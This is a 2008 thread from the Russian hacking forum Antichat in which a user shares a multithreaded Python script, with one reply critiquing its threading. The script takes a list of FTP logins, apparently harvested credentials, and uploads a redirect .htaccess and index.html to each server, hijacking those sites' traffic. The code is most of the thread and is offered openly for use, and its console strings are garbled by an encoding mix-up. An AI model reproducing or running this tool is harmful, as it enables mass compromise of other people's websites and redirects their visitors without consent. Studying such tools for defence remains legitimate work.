ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[Python] Заливка редиректов на FTP
  #1  
Старый 08.12.2008, 14:07
Аватар для login999
login999
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме:
4512757

Репутация: 973


По умолчанию [Python] Заливка редиректов на FTP

Вот накорябал скриптягу на Python для заливки редиректов на фтп, для работы нужны 1.htaccess и index.html с кодом редиректа (Идея взята из Чаковского скрипта), скрипт заточен под Win-консоль (заточка заключается в кодировке ) Скрипт вроде кагбэ даже многопоточный.
П.С. Время задержки зависит от вашего канала/количества потоков - так что с оптимальной величиной нужно поэкспериментировать.
П.П.С. КОНСТРУКТИВНАЯ критика приветствуется (кому не нравится - не качаем)

Код:
#!/usr/bin/env python
# -*- coding:Cp866 -*-
import ftplib,time,urlparse,threading
print "                          џ «оЎ«о «о¤Ґ©! (c) Dolphin"
print ""
ftp_list_file_name=raw_input("‚ўҐ¤ЁвҐ Ё¬п FTP-«Ёбв* :")
thr_num=int(raw_input("‚ўҐ¤ЁвҐ Є®«ЁзҐбвў® Ї®в®Є®ў :"))
del_time=int(raw_input("“Є*¦ЁвҐ ўаҐ¬п §*¤Ґа¦ЄЁ :"))
def con_write():
    ftp_server=ftp_list.pop()[:-1]
    addr=urlparse.urlparse(ftp_server)
    try:
        con_serv=ftplib.FTP(addr.hostname,addr.username,addr.password,timeout=10)
        try:
            con_serv.storbinary("STOR .htaccess", open("1.htaccess"))
            print ".htaccess ў:" + addr.hostname+":"+addr.username+" б®еа**с* гбЇҐи*® "
        except Exception:
            print ".htaccess  ў:"+ addr.hostname+":"+addr.username+" *Ґ б®еа**Ґ*"
        try:
            con_serv.storbinary("STOR index.html", open("index.html"))
            print "index.html ў:" + addr.hostname+":"+addr.username+" б®еа**Ґ* гбЇҐи*®"
        except Exception:  
            print "index.html ў:"+ addr.hostname +":"+addr.username+" *Ґ б®еа**Ґ*"
        try:
            con_serv.quit
        except Exception:
            print "ЌҐ ¬®Јг §*Єалвм ᮥ¤Ё*Ґ*ЁҐ б FTP бҐаўҐа®¬"
        except Exception:
            print "ЋиЁЎЄ* §*ЇЁбЁ"
    except Exception:
          print "ЌҐ ¬®Јг Ї®¤Є«озЁвмбп Є FTP бҐаўҐаг"

with open(ftp_list_file_name) as ftp_list:
        ftp_list=list(ftp_list)
        for x in ftp_list:
            while threading.activeCount() > thr_num:time.sleep(del_time)
            threading.Thread(target=con_write).start()
            while threading.activeCount() > thr_num:time.sleep(del_time)
            print threading.activeCount()
print "‚лЈаг§Є* §*Є®*зҐ**"+" ў "+ time.strftime("%H:%M:%S %d:%m:%Y")
 
Ответить с цитированием

  #2  
Старый 08.12.2008, 16:28
Аватар для Digimortal
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

>> заточка заключается в кодировке

Удобней выводить юникод-текст в консоль.

А еще удобней было б задавать ftp_list_file_name, thr_num, del_time как параметры при запуске.

Многопоточнось реализована некорректно. Правильнее будет использовать метод join, а не с помощью таких вот сравнений и засыпаний. )
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ